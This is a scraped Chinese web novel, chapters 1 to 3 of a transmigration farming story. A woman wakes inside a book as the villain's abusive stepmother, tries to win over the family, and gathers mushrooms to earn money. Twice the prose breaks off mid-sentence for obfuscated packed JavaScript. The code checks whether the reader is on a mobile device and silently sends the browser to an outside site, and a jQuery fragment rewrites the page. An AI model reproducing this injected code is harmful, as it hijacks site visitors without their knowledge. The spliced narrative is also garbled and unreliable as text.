《农妇种田日常》 1. 第1章 三月初，万物生。 虽已是暮春时节，距离京城上千里远的边关早上仍旧带着几分冬日的冷意。 边城地处大轩国最北端，地广人稀。此处离京城远，又因战乱，远不如京城繁华。 在边城的南面有个石泉镇，镇西面有个霍家村。 霍家村东头有一户人家，院墙矮矮的。主屋朝南，一共三间。东边有两间厢房，全都上着锁。西边有两间，一大间厢房一间厨屋。 屋子看起来挺多的，实则房子是用泥砌的，泥里面还能看到一些稻草，屋顶铺着厚厚的枯黄的茅草。那茅草铺得不算结实，风一吹有茅草屑刮下来。这院子不说和村里带着高高院墙的瓦屋比，即便是和旁边的院子比也稍显简陋和破败。 西边厨屋旁用篱笆围了个鸡圈，南边犁出来一块地，地里长着绿油油的青菜。院子挺大的，就是破破烂烂的。 厨屋里热气蒸腾，屋顶上炊烟滚滚。 不远处，早起下地干活的人扛着锄头拎着水从地里回来了，见到村里人，大家互相打着招呼。 “大福回来了，地里的杂草多不多？” “多得很，三天了才锄了一半。” “活儿是干不完的，慢慢来，别累着了。” “嗯，等后半晌再去。” 院子里，一个四五岁的小男孩拿着一个漏水的坏瓢，舀了一瓢水，朝着门口走去。一边走，水一边漏，小孩子的衣裳和鞋子都湿了。男孩见状，跑了起来。等到了门口，瓢里只剩下半瓢水，其余半瓢不是漏在地上了就是洒在了自己身上。他将水倒在了一堆土上。把瓢一扔，蹲在地上，用手和起了泥巴。 一只黑白相间，尾部略带一丝蓝色的喜鹊站在枝头叫了起来。不远处的草丛里渐次响起了虫声蛙鸣。 虽大家都过得不富裕，人也是面黄肌瘦，但整个村子却异常和谐安宁。 一个面容姣好身形纤细的年轻女子坐在屋前的台阶上，托着下巴看着院子里比大人还要忙的小男孩。 小男孩名叫霍子规，今年六岁了，本该上学读书的年纪却日日在村里疯跑玩。任谁也想不到眼前这个还在玩泥巴的小男孩会在十年后带兵造反，打破这一片宁静，导致大轩多年战乱，百姓流离失所，最终整个霍家村的人都跟着陪葬。这里的一切生机都不复存在，将变成修罗炼狱。 想到这里，年轻女子轻叹一声。 她叫秦书锦。昨日还躺在自己柔软的大床上做着美梦，一觉醒来就莫名来到了这个陌生的世界。 和煦的春风在脸上拂过，鸡鸣狗叫在耳边响起，这一切都是那么的真实。她很确定，这绝非是梦境。她是真真实实地存在于这一方天地之中。 这是一本小说中的世界，男主是当朝太子，女主是太傅之女，二人青梅竹马。霍子规是男配，也是全书中最大的反派。他并非是因为喜欢女主才成了男配，而是因为想和男主抢皇位，他就是一个冷血无情心狠手辣的坏人。 霍子规名义上是霍家村人，实则真名叫顾子规，辰王的儿子。三年前，辰王造反失败，全家被杀。仅有一个三岁的儿子在霍耘的帮助下逃了出来，霍耘将顾子规带回了家，改名为霍子规，认作儿子，隐姓埋名，活了下来。十年后，霍耘跟随顾子规造反，二人双双死在了京城。 很不幸的，秦书锦如今的身份是暗卫霍耘的妻子，一个注定要死的反派阵营的人。 更不幸的，她甚至没活到反派造反。 霍耘，霍家村人，长得高大英俊，又会些武艺，在县衙里当皂吏，十里八村的姑娘都想嫁给他。几年前，霍耘去外地办差。后来，他带伤回来，同时还带回来一个三岁的儿子。姑娘们见状心碎不已，纷纷转嫁他人。霍耘从人人想嫁的男人变成了大家口中带着拖油瓶无人问津的“那男的”。 秦书锦，秦家村人，长得貌美。秦家祖上八代都是穷苦的种地人。到了秦父这一代时，祖坟冒了青烟，秦父考中了秀才。因为是秦家第一个秀才，秦父自命清高，醉心于科举，什么农活都不干，满口的诗书礼易，一副高高在上的模样。秦家所有人都围着他转。 秦父如此，秦书锦作为他的女儿学了个□□成。秦书锦长得漂亮，眼高于顶，一心只想嫁给有钱人。而秦父重名声，想要维持着读书人的清高，不愿让人说他“卖女儿”。父女俩在此事上没有一个统一的意见，秦母又老实，既管不了丈夫也管不了女儿。秦书锦便以秀才女儿的身份去结交有钱人，村里渐渐有了风言风语，说她被人破了身子。父女俩就这样拖着，拖着拖着，秦书锦年纪大了，名声也臭了。再后来，不仅有钱人不愿娶她，十里八村的庄稼汉也不愿娶她。 秦书锦的祖父去世后，秦大伯实在不愿再养着二弟，将秦父一家赶了出去。 家里实在是穷得揭不开锅了，而秦父还得装点门面结交文人。为了维持住自己读书人的颜面，他将女儿嫁给了邻村带着三岁儿子的霍耘。 霍耘家穷得很，但霍二山董春娘生怕儿子娶不上媳妇儿，这几年一直省吃俭用攒钱，给的彩礼很高。 在秦父看来，同样是嫁女儿，嫁给商人做小妾那是贪财，嫁给村里的穷人是清高，人人都要赞他的。 霍耘见秦书锦是秀才家的女儿，以为她知书达理，能好好教导小主子，于是应了这门亲事。 原主一心只想嫁有钱人，不敢反抗她爹。嫁过来之后，看着一贫如洗的霍家十分不满，日日闹着要和离。和离不成，她心中不顺，看谁都不顺眼，不敬公爹婆母，打骂霍子规，发泄着自己的情绪。除此之外，还常常去城里找之前认识的有钱人。嫁过来不到半年的光景就跟人跑了。 既然是恶毒女配，下场自然不好。因为儿子娶妻不易，初时霍二山董春娘并未跟儿子说儿媳有多不好，直到后来霍子规给霍耘看了身上的伤痕，霍耘方知妻子有多过分。没等他休妻，秦书锦自己跟人跑了。而等霍子规长大，因当年原主虐待过他，他亲手将原主打死并吊在了城墙上示众。 想到自己在书中的结局，秦书锦感觉有一股寒意袭来。 在书中，霍家人包括霍耘在内都像是没什么灵魂的工具人，基本上都是活在男配的口中，背景板一样的存在。原主那般欺负他们，他们也没什么明显的恨意，即便后来跟着男配一起发达了，也没见他们去报复。可霍子规不同，他是一个睚眦必报之人，对这个世界满腔的愤恨。他去报复皇上，报复原主。 霍子规似是察觉到秦书锦一直在看他，他突然抬起头看向了秦书锦，盯着秦书锦看了片刻后，对着秦书锦露出来一个讨好的笑容，奶声奶气地道：“娘。” 奶说了，只要他听娘的话，娘就不会打他了。 看着霍子规纯真的笑容秦书锦蹙了蹙眉。书中说霍子规聪慧早熟，从小就诡计多端心狠手辣，七岁左右时知道了自己的身份便开始谋划造反。霍子规今年已经六岁了，怎么看都是一副纯真的小孩子模样，眼底不见丝毫的恨意和算计。 霍子规见秦书锦脸色不好，立即将手里的泥巴扔下，站直了身子，结结巴巴地道：“娘，我……我错了。” 这样子哪有一丝反派的气质？分明就是一个纯真的小孩子。 霍子规久久没听到秦书锦的回答，小心翼翼地抬眼看向她。 看到霍子规的表现，秦书锦有些惊讶。 这孩子此时不是恨她，竟然是怕她。 她没有原主的记忆，但根据书中的描述，原主嫁过来后一直看霍子规不顺眼，时常骂他打他，想必霍子规被原主打怕了。 原主刚嫁过来三个月，虽也做了一些恶事，但应该还不是最糟糕的时候，没有酿成无法挽回的错误。所以霍子规对她只是怕，而不是恨。关于原主的事情书中的描述不多，也不知她后面究竟做了什么事能让霍子规那么恨她。 还好事情没到最糟糕的时候，一切都还来得及。 既来到了这个世界，她还是先好好活下去吧。 想到这里，秦书锦朝着霍子规招了招手。 霍子规立即颠颠地朝着秦书锦跑了过来。 秦书锦的目光落在了霍子规手上的泥巴上。 霍子规闪躲了一下，怯懦地道：“娘，我真的知道错了，我以后再也不玩泥巴了。” 秦书锦：“想玩就玩，但不要把身上弄那么脏。” 霍子规眼神顿时变得明亮。 娘从前特别厌恶他，不管他做什么娘都要骂他，上个月见他玩泥巴拿着藤条抽了他，今日娘竟然答应让他玩泥巴了。 奶说的果然对，只要他听话娘就不打他。 秦书锦心里一软，抬手摸了摸霍子规的头：“你奶快做好饭了，先去洗洗手吧。” 霍子规脆生生应了一声：“好！” 董春娘透过厨屋的窗户看到了儿媳和孙子在一处，见儿媳抬手碰孙子的头，她慌里慌张地从厨屋出来了。出来后，她一双眼睛不住地在二人身上看，眼神里有几分紧张。见儿媳没打孙子，她提着的心放下了。 秦书锦看向从厨屋出来的人。 这是一位年约五旬的妇人，眼角布满了褶子，皮肤和嘴唇有些干。她身着褐色的衣裙，衣服上打满了补丁，头发梳的一丝不苟。能看得出来，妇人虽然家境贫穷，但却是一个爱干净的人。 见她看过来了，妇人眼神有些慌乱，将手在衣服上擦了擦。 “老二媳妇，饭做好了。” 又是一个怕她的人。 此人想必就是霍耘的母亲，也就是她的婆母。 在书中霍家人都是一笔带过的，即便是霍耘描述得也不多。她只知霍家人一直被原主欺负，霍耘是个对反派言听计从的护卫，一家人都是没什么性格的工具人。 秦书锦客气地道：“知道了，娘。” 董春娘似是没料到儿媳这般客气，愣了一下。 儿媳从前都叫她老婆子，死老太婆，今日竟唤她一声娘。 秦书锦并不知董春娘心中所想，她已经起身朝着井边走去，到了井边，霍子规已经洗完手了。他拿起瓢舀了一瓢水，双手端着，身体朝向秦书锦。 “娘，洗手。” 姑姑说了，他要多帮着娘干活，讨娘欢心。这样娘就会喜欢他了。 霍子规虽然已经六岁了，但身体跟四五岁的小孩子差不多，瘦骨嶙峋的，一副营养不良的模样。许是因为没吃饱，他的手有些不稳，瓢里的水时不时撒出来，将他的衣裳和鞋子打湿了。 秦书锦实在是难以将眼前稚嫩可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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将汤碗放在木桌上，秦书锦从堂屋走了出来，只见院子里又多了两个人。 霍二山和霍小芽怔怔地看向秦书锦。 霍二山方才就看到儿媳端着碗去了堂屋，他还以为自己看错了，没想到竟是真的。 霍小芽也没想到她今日能看到嫂子干活。 秦书锦打量了一下这二人，男子约摸五旬左右，皮肤黝黑，个子挺高的，但十分瘦弱，背也有些驼了。小姑娘十三四岁的样子，瘦瘦小小的。这二人长得有几分相似。 想必这两位便是霍耘的父亲和妹妹。 “爹，小妹，娘做好饭了，洗洗手准备吃饭吧。” 秦书锦只是礼貌地跟人打了一声招呼，不料在对方心中掀起了惊涛骇浪。 霍小芽年纪小，眼里的震惊没能收回，霍二山率先反应过来，应了一声：“哎。” 秦书锦又去厨屋端汤了，董春娘发现自己拗不过儿媳，又怕烫着儿媳了，这一次少盛了一些。 霍子规端着几个馒头跟在秦书锦身后出来了。 看到来人，大声打着招呼：“爷爷，小姑姑。” 霍二山看到孙子笑着点了点头，抬手摸了摸他的头。 不多时开饭了。 霍家虽然有四个孩子，但老大霍耕入赘到了镇上，只有逢年过节才回来。老二在县衙当差，最近又去外地办差了，不在县里。老三霍小草出嫁了。 如今在家的只有霍二山董春娘，霍小芽，霍子规以及秦书锦。 此时约摸是巳时左右，秦书锦一早上没吃饭了，早已饿得前胸贴后背，肚子里咕噜噜的。可看着眼前的饭，她着实没有食欲。 木头桌上此时放着五个汤碗，一盘子青菜，外加一个竹筐，竹筐里放着几个馒头。 董春娘将一个馒头放到了秦书锦手中，秦书锦咬了一口，低头看向了手中的馒头。 董春娘一直看着儿媳的脸色，见她面无表情地盯着馒头看，忙解释道：“家里没有细面了，你若是吃不惯，一会儿我去镇上买些细面，明日给你蒸细面馒头。” 秦书锦：“娘，不用了，挺好吃的。” 这馒头并非是细面做的，而是粗面做的，里面还掺了一些玉米面。面虽然有些粗，但味道却不错。 董春娘顿时松了一口气。 秦书锦吃了两口馒头，有些噎，她端起来桌上的汤喝了一口。 汤也蔬菜汤，十分清淡，只有一些咸味儿。 董春娘热情地招呼着儿媳：“老二媳妇，吃菜。” 秦书锦尝了一口。 菜炒得十分清淡，没什么油星，只微微有一点咸味儿，其他什么味道都没有。油和调料对于普通百姓而言十分珍贵，而盐也不便宜。 霍家是真的穷，早饭里既没有肉也没有蛋，而且一人只吃了半个馒头。别说一早下地干活的霍二山和霍小芽了，即便是一早上什么都没干的秦书锦都觉得有些没吃饱。见大家都没再吃，她也没好意思再去拿。 霍家人各个面黄肌瘦，除了吃得东西没营养，还因为长期吃不饱饭。 霍家二老在为儿子娶妻时将家底搬空了，甚至还欠了一些外债。霍二山身子不太好，没法出去做活，霍耘走了两个月了，家里的存粮早就没了。原本家里不仅能吃饱饭，还能见着点荤腥，眼下是啥都没了。 看来现在最重要的不是摆脱书中必死的命运，而是先想办法先吃饱饭，不然她没被反派吊在城墙就先饿死了。 2. 第2章 吃过饭后，秦书锦正要去洗碗，霍小芽动作灵活地抢了过去。 秦书锦还有别的事情要干，也就没跟她争，她走出了厨屋，回了隔壁的西厢房。 堂屋的三间，霍二山董春娘和霍子规住一间。霍小草和霍小芽住一间，如今霍小草出嫁了，霍小芽自己住一间，还有一间存放家里的粮食。东边有两间厢房，是霍家老大霍耕一家人住的地方。霍耕一家虽搬到了镇上，但房子还给他们留着。当初原主见西厢房位置不好，心生不满，想要东厢的两间，霍耕和他媳妇儿没同意，原主在家里大闹了一场。 秦书锦看了看西厢房，虽然是一大间，但中间隔开了，算是两小间。西厢房外间空荡荡的，里间有一张床，一张桌子，一把旧椅子，两个衣柜。虽然不如东厢房大，但也足够用的了。 太阳已经升了起来，早上的凉意退去，天渐渐暖和起来。 秦书锦在屋里休息了一会儿，推开门走了出去。 家里的板凳坏了，霍二山准备做个新的。他拿出来锯，在院子里锯木头，董春娘在一旁帮忙扶着。方才得到了秦书锦的应允，霍子规又去门口玩泥巴了。 看着眼前的这一幕，秦书锦心里有一种十分奇怪的感觉。虽然她是早上刚来到的这个陌生的世界，可不知为何总觉得她本就该属于这里，与眼下的情形相比，前世的记忆倒像是一场梦一般。 董春娘见儿媳出来了，站在院子里不说话，多嘴问了一句：“老二媳妇儿，你这是要出门？” 秦书锦：“娘，我想去附近的山上转转。” 她醒来就看到不远处有一座山，但不知道这山能不能去，这番话也是试探。 俗话说靠山吃山，靠水吃水。既然这座山在霍家村附近，想必得有些用处。她想去山上找找看有没有什么能赚钱的东西。 不管眼下是不是梦，人总要生存下去。 儿媳向来不爱搭理他们，想出去就出去，从没跟他们讲过。对于儿媳今日主动报备动向的行为，董春娘还有些不习惯。她不自觉站直了身子，局促地将手在衣裳上擦了擦，道：“行，你去吧。” 秦书锦看了一眼厨屋，见门口有个竹篓，顺手提了起来。走到门口时，她停下了脚步，转身看向正在玩泥巴的霍子规，询问：“子规，娘要去山上，你要不要跟我一起？” 她对这里并不熟悉，有个人跟着还能作个伴，顺便也培养一下感情，扭转自己在霍子规心中的形象。 霍子规三岁前的记忆渐渐模糊了，秦书锦是他有记忆以来见到的最漂亮的女人。见到秦书锦的第一眼他就很喜欢她，想要和她亲近。但秦书锦十分厌恶他，时常打骂他，渐渐地他开始怕她，躲着她。 小孩子忘性大，此刻见秦书锦对他笑，他顿时忘了原主之前的虐待，立即答应下来。 “我跟娘一起去。”霍子规脆生生地道，说着就朝着门外走去。 秦书锦看了一眼霍子规脏兮兮的小手，提醒道：“先去洗手。” 霍子规连忙跑到井边将手洗干净了，手上的水渍擦在了衣裳上，一溜烟地朝着秦书锦跑去。 霍二山董春娘全程都看着，霍二山一脸欣慰，董春娘脸上也带着几分轻松的笑意。 董春娘低声道：“老二媳妇终于接受子规了。” 霍二山也是满脸笑意：“她爹是读书人，她应该也读了不少书，可能之前是因为刚嫁过来不习惯。” 董春娘：“是啊，她也是个读过书的姑娘。” 霍二山董春娘都是老实人，对于秦书锦的转变两人都没多想，说了两句后两人又继续做板凳了。 站在厨屋门口的霍小芽脸色变得煞白，一脸担忧地看向了秦书锦和霍子规离去的方向。她在原地迟疑许久，转身去厨屋拿了一根麻绳，朝着外面走去。 董春娘看着女儿的背影，叫道：“小芽，你干啥去？” 霍小芽停下脚步：“我……我……厨屋里没柴火了，我去山上捡些。” 董春娘疑惑地道：“不是还有一些么。” 她早上做饭时瞧着柴火还挺多的，能用上三五日。 霍小芽：“我怕今日下雨。” 董春娘抬头看了一眼天，道：“下不了雨，不用那么着急。你若真想去，先把家里的鸡喂了。咱家板凳坏了两个，你二嫂还想要一把椅子，我跟你爹不得空。” 霍小芽紧了紧手中的麻绳，在原地站了片刻，最终还是放下了麻绳，去厨屋准备鸡食了。 等喂完鸡，霍小芽一脸心事地拿着麻绳快速走出了家门。 董春娘嘀咕道：“小芽今儿咋了，怎么怪怪的。” 霍二山看了眼女儿的背影，道：“兴许她也想去山上玩儿了。” 见女儿朝着山那边走去，董春娘道：“说不定还真是。” 霍小芽越走越急，到后面甚至开始跑了起来。 秦书锦出了门后并未直接朝着山上走去，而是围着霍家转了转。除了院子里的那一块地，霍家屋后还收拾了两分地。地里种着些蔬菜，这些蔬菜都长得极好，绿油油的。最边上的一陇是青菜，跟早上吃的一样。一旁的是莴笋，再旁边是菠菜，还有一陇芹菜。 屋后的墙角还长着一些野菜，有扫帚菜、蒲公英等一些她不认识的植物。这些植物在春天见风就长，长得比一旁地里精心侍弄过的蔬菜还好。 一旁有几棵树，其中一棵是香椿树，想到香椿拌豆腐，秦书锦忍不住咽了咽口水。 霍子规则是蹲在墙角斗蛐蛐。 看完后，秦书锦让霍子规带着她在村里转了转，顺便让霍子规为她介绍了一下各家各户。霍子规年纪小，说得不是很清楚，但也比秦书锦一点都不知道的强。 此时家家户户正吃着饭，外面的人不多，一路走来只遇到了两三个人。这几人看到秦书锦和霍子规在一处眼里流露出来意外的神色，秦书锦对这些人没有一丝印象，出于礼貌，她对着人笑了笑，点了点头。 那些人像见了鬼似的，脸色骤变，但很快又回以同样的微笑。 花了约摸一刻钟左右，秦书锦把霍家村转了一圈。 霍家村不大，约摸二十多户人家，只有两户锁着门，其余的人家家里都有人。 霍家村的人都比较淳朴和善。不管原主之前是个什么性子，她今日对着大家笑，大家也会对她笑。 村里大多数人家都是茅屋，只有几户有钱人，盖的是瓦屋。不过，茅屋也分好坏，像霍耘家算是比较穷的。其余人家的话至少有高高的院墙，又或者屋子新一些。 她记得书中提过，霍耘离家数年不归，霍二山和董春娘担忧儿子，省吃俭用。后来儿子回家，带回来孙子，不好娶妻了。为了能有钱给儿子说一门好亲事，二人生活更加拮据，娶妻之时花光了家里所有的积蓄，所以家比较破。 村子北边有一条小河，河水是从山上流下来的山泉水，远远看去很是清澈。 眼下河边有几个妇人正在浣洗衣裳，秦书锦不知这些人的身份，若过去怕是要打招呼，她便没过去，只远远看了一眼便朝着山上走去。 霍子规一刻也停不下来，迎着风朝着山那边跑去。跑一段路后，停下来薅一根蒲公英，然后鼓起腮帮子吹散，自己嘎嘎笑了起来。然后再继续朝着前面跑去。 秦书锦不紧不慢地跟在他身后。看着蓝天，白云，不远处的大山，嗅着清新的空气，心情渐渐舒畅起来。 虽然家是农村的，但后来她去了大城市打拼，已经很少回家了。 这里远离了都市的嘈杂，也远离了纷争，还没有工作的压力。 若是能吃饱饭的话，在这种地方生活未尝不是一件幸事。 霍子规跑远后，发现娘不在身边，转身朝着秦书锦跑去。 “娘，你快点。” 秦书锦笑着说：“好。” 此刻霍小芽已经上山了，她正着急地寻找着秦书锦和霍子规的身影。 山上树木郁郁葱葱的，一上山，秦书锦便感到了一丝凉意。草丛里有虫子和青蛙出没，树上有鸟儿偶尔发出一声鸣叫。 没走多远，秦书锦便看到不远处似乎有一堆东西。她停下脚步，叫住了前面的霍子规。 “子规，过来。” 霍子规连忙往下跑，蹦蹦跳跳地来到了秦书锦身边。 秦书锦带着霍子规朝着一旁走去，走了没多远，便看到了隐藏在茂盛的树木后面的蘑菇。 霍子规眼前一亮：“哇，蘑菇！” 秦书锦也有些惊讶。她方才只看到几棵，没想到竟然有一片。她仔细看了看的确是没毒可食用的蘑菇。 这附近有好几个村子，大家平日里都会上山，没想到他们今日还能见到这么多蘑菇。 难道此地的人都不吃？ “子规，你们平日里吃蘑菇吗？” 霍子规摇头：“不吃。” 秦书锦有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405646|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶，她没想到当地人竟然真的不吃。蘑菇那么鲜美，若是不吃的话当真是少了许多趣味。 紧接着霍子规又补了一句：“想吃，采不到，外面卖的贵。” 原来如此。 看来本地人还是吃的，今日应当是她运气好，遇到了这么多蘑菇。 “子规，我采些蘑菇，你在这附近玩，别乱跑。” 霍子规：“好！” 霍子规去采花了，秦书锦蹲下身子采蘑菇。这一片蘑菇得有足足两三斤，她采了许久才将蘑菇采完了。采完后，她站起身来，在附近转了转，试图发现更多的蘑菇。找了许久都没找到，看来这一片应该没有了。两个人又继续朝着山上走去。 此刻霍小芽已经走到山顶上了。这一路走来，她并未遇到嫂嫂和侄子。看来嫂嫂骗了爹娘，她并未带着侄子来山上。想到那日她听到嫂嫂和旁人说要将她和侄子卖了换钱，大颗大颗的眼泪如珍珠般掉了下来。都怪她没能及时阻止，害得侄子被嫂子卖了。 哭了一会儿后，她擦了擦眼泪。 不行，她不能再耽搁了，再耽搁下去侄子就被人卖远了，真的找不回来了。她得赶紧下山去跟爹娘说此事。 霍小芽朝着山下跑去，因为跑得急，不小心摔了一跤，往下滚了一段，后面她小心了些。 “小姑姑！” 一道熟悉的声音将她唤了回来。 霍小芽停下脚步，朝着下面望去。只见侄子正欢快地朝着山上跑，而嫂嫂背着竹篓在他身后不远处慢悠悠跟着。 她的心已经提到了嗓子眼儿，此刻见侄子平安无事，整个人顿时泄了气，摔倒在地上，眼泪也不受控地流了下来。 “姑姑！”霍子规紧张地跑向了霍小芽。 秦书锦见霍小芽摔倒了，连忙提起了裙子，加快了脚步。 到了霍小芽身边后，她蹲下了身子，与之平视。瞧着她红肿的眼睛，有些担忧地问道：“怎么哭了，发生了何事？” 霍小芽抹了一把眼泪，咬着唇道：“二嫂，我没……没事，就是摔了一跤。” 秦书锦看了一眼霍小芽的衣裳，衣裳上有灰尘，膝盖处还磨破了一个洞。 “摔疼了吧？走，我扶着你下山。” 霍小芽第一次见秦书锦这般温柔地跟她说话，有些受宠若惊。 “不，不，不用，我不疼。” 秦书锦好看的眉蹙了起来。 既然不疼，为何哭得那么伤心？ 为了证实自己说的话，霍小芽从地上爬了起来。 秦书锦心里十分疑惑，她总觉得霍小芽今日的言行举止怪怪的，又说不出来哪里怪。她没再执着于这个问题，而是问道：“你来山上做何事？” 霍小芽从地上捡起来麻绳，道：“捡柴。” 秦书锦越发觉得霍小芽奇怪了。她方才明明看到霍小芽空着手从山上走下来的，这一路走来她看到了许多柴火，若霍小芽果真来捡柴的，此刻手里不可能是空的。 她瞥了一眼山上，问：“你在山上可是遇到了什么人？” 霍小芽摇了摇头：“没有。” 霍小芽的眼神十分清澈，不像是撒谎的样子。秦书锦暂时将心底的疑惑按捺住。每个人都有自己的秘密，她也无意去窥探旁人的隐私。 “嗯。我和子规想去山上转转，你要一起吗？” 霍小芽立即道：“好啊。” 秦书锦：“走吧。” 霍小芽上前想要将秦书锦背上的竹篓接过去，被秦书锦拒绝了。 “不用，我背着就行，你一会儿还得捡柴。” 霍小芽：“不碍事的。” 秦书锦还是拒绝了她。她比霍小芽大，也比霍小芽高一些，她可做不出来让小孩子干活的事儿。 “子规，你帮着你小姑姑捡一些柴火。” 霍子规：“好！” 走了没多远，秦书锦又看到了一片熟悉的东西，这下她越发迷惑了。她停下脚步，看向霍小芽。 “你经常来山上吗？” 霍小芽点头。 秦书锦：“这山上的蘑菇多吗？” 霍小芽摇头：“不多，平日里几乎见不着，只有雨后才有一些。但也得赶早，来晚了都被人捡走了。” “嗯。”秦书锦应了一声，朝着一旁走去，她扒拉开杂草，一大片蘑菇呈现在眼前。 她今日的运气是不是太好了些？ 3. 第3章 跟在秦书锦身后的霍小芽脸上流露出来震惊的神色。 霍子规是个小孩子，看到蘑菇后笑嘻嘻地道：“哇，又有一片蘑菇了，今天可以吃蘑菇喽~” 秦书锦放下竹篓，霍小芽看到了竹篓里已经有了很多蘑菇，这才明白侄子那句话是什么意思。 “这是二嫂刚刚采的吗？” 秦书锦点头：“对，刚刚在山下采的。” 若非亲眼看到这么多蘑菇，霍小芽无论如何也不敢信山上竟然有这么多蘑菇。她从小就爬这座山，从来没见过这么多蘑菇，即便是雨后也没这么多。 这一片蘑菇定是因为被杂草挡住了，没被人看到，所以才有这么多。他们今日的运气可真好。不，确切说是二嫂的运气好，二嫂的眼神好。 霍小芽将方才捡的柴火放在一旁，蹲下身子和秦书锦一起采蘑菇。 霍子规在一旁捡柴火，秦书锦和霍小芽采蘑菇，采了一会儿蘑菇，竹篓里已经有大半筐了。 随后三人一边找蘑菇，一边捡柴火，等走到山顶时，又采了些蘑菇，不过不似方才那么多了，竹篓也快满了，柴火也捡的差不多了。几人便下山去了。 走了一段路后，隐隐听到山下有说话的声音。霍小芽看了一眼秦书锦的背篓，立即蹲下身子快速拔了一堆野草铺在秦书锦的背篓上。 秦书锦停了下来。 没等她询问，有两个妇人出现在了眼前，一个妇人身形微胖，穿着深绿色的衣裳。一个略瘦些，穿褐色衣裳。两人嘴里叽里咕噜的，不知在说些什么。 看到秦书锦等人，二人停下了脚步，眼神上上下下打量着秦书锦，眼底流露出来几分嫌弃。 秦书锦今日见了许多人，她能从众人的目光中看出来大家只是对她好奇，并无厌恶。可眼前这二人不同，一副不太友好的模样。 不知这二人是何身份。 穿深绿衣裳的妇人冲着秦书锦翻了个白眼，看向霍小芽。 “小芽，来捡柴火啊。” 霍小芽：“是的，大伯娘，捡了些柴火，又割了点草喂鸡。” 她的目光下意识看了一眼秦书锦背上的竹篓。 两个妇人也没多想，毕竟大家都住在这附近多年，也常常来山上，从未见过那么多蘑菇。即便此刻告诉她们竹篓里是蘑菇，她们也不会信的。 深绿色衣裳的妇人阴阳怪气地道：“草能有多重，有些人啊，没有富贵命却有富贵病，专捡轻松活干，脏活累活都让你一个没长大的小丫头干。” 秦书锦听出来了，这妇人是在点她呢。 只是她不知这妇人是什么身份什么性子，也不知她和原主有过什么过节。原主性子泼辣，被她欺负过的人有好人也有坏人，她不知眼前这人是好人还是坏人，不好随意开口。 接着，这妇人向霍小芽，换了一副嘴脸，笑着道：“小芽，你也知道大伯娘腿脚不太好，我正想拾些柴火呢，你把你背上的柴火给我吧。你年纪轻轻的，爬山也累不着，你再去捡一些。” 霍小芽抿了抿唇，明显不想给，可妇人已经伸手了，她只好将背上的柴火卸了下来。 从这件事看这妇人不是什么好东西！ “这柴火是我捡的！”秦书锦出言阻止了。 霍小芽放在麻绳上的手一顿。 秦书锦居高临下，俯视着妇人。这妇人方才不敢直接说她，只敢阴阳她，由此可见她不敢惹她。 赵婆子怒目圆睁，瞪了秦书锦一眼。 “你个懒婆娘，这柴火定不是你捡的，小芽都同意了，你多什么话。” 秦书锦丝毫不惧她：“我说是我捡的就是我捡的，我是懒，既然你勤快那你自己去捡啊！” 赵婆子气得脸通红：“我可是耘哥儿的亲大伯娘，你敢这么跟我说话，回头我定要找你爹娘说道说道。” 秦书锦：“随便你，顺便再说说你如何抢我家的柴火。小芽，子规，咱们走。” 原主做过更过分的事情，霍二山董春娘都没说什么，她还能怕她去告状不成？ 霍小芽握紧了麻绳，垂着头跟在秦书锦身后朝着山下走去。 霍子规也蹦蹦跳跳朝着山下走去。 赵婆子在身后骂起了秦书锦。 “我就说这个婆娘不是个好东西，又懒又馋又坏！我霍家娶了这样的媳妇儿真是倒了八辈子血霉了！” 另一个妇人王婆子看着秦书锦的背影道：“你看她那胸那屁股，还有那小腰身，我瞧着不像个安分守己的，说不定哪日就跟人跑了。” 赵婆子低声道：“还真让你说着了，听说她婚前不知跟了多少男人了，早就不清白了，也就老二家还当她是个宝。” 王婆子：“我倒是听旁人说过这事儿，没想到竟是真的，既这样的话，你那侄子咋还愿意娶她？” 赵婆子不仅看不上秦书锦，她也看不上霍耘这个侄子。 “自然是真的，还不是因为他自己也不啥好东西，还没成亲就搞了个儿子出来，一般好人家的黄花大闺女谁愿意跟他啊。” 王婆子：“这俩人倒是般配。” 赵婆子笑着道：“可不是么。” 两人又嘀嘀咕咕说起了霍耘和秦书锦的闲话。 霍小芽想到刚刚大伯娘吃瘪的神情，心里觉得舒坦极了，脸上露出来一个浅浅的笑容。大伯一家时常欺负他们家，爹娘和她都不敢多说什么，也就二哥在家的时候好些，没想到嫂子也这么厉害。 一路上，他们又遇到了一些村里人。村里人对秦书锦十分好奇，但又不跟她打招呼，问着霍小芽。 霍小芽用了捡柴火和割草的理由搪塞过去。 秦书锦看了一眼霍小芽。 从方才霍子规的话语以及霍小芽对蘑菇的重视程度来看，蘑菇在这个时代属于稀罕物。若旁人知道他们采了那么多蘑菇，少不得会眼红。 这个在书中没什么存在感的霍家小妹还挺精明的，知道用杂草来挡住这一竹篓的蘑菇。看来她也不似书中写的那般怯懦。 霍小芽见嫂嫂在看她，连忙收了笑。 下了山后，没走多久，三人便到了家里。 霍小芽将柴火放到了厨屋，秦书锦也跟着进了厨屋，将背篓放在了地上。 从厨屋出来后，霍小芽去跟霍二山董春娘小声嘀咕了几句。 霍二山董春娘十分惊讶，去了厨屋，仔细看了看背篓里的东西。 董春娘：“竟然都是能吃的蘑菇，你们今日运气可真好。” 霍小芽看向秦书锦：“是二嫂运气好，这些蘑菇都是二嫂发现的。” 董春娘抬手收拾着蘑菇，霍小芽也在一旁帮忙。 董春娘笑着说：“这几日咱们吃蘑菇。” 秦书锦蹲下身子，看着面前一大堆蘑菇，提议：“不如咱们拿去镇上卖了吧。” 董春娘手上的动作停了下，看向儿媳。 “你不是最喜欢吃蘑菇了么，好不容易采了这么多，还是留着自己吃吧。” 秦书锦记得方才霍子规说过蘑菇很贵。 “蘑菇这种东西不耐放，放久了容易坏，倒不如趁着新鲜卖了，还能换一些钱。” 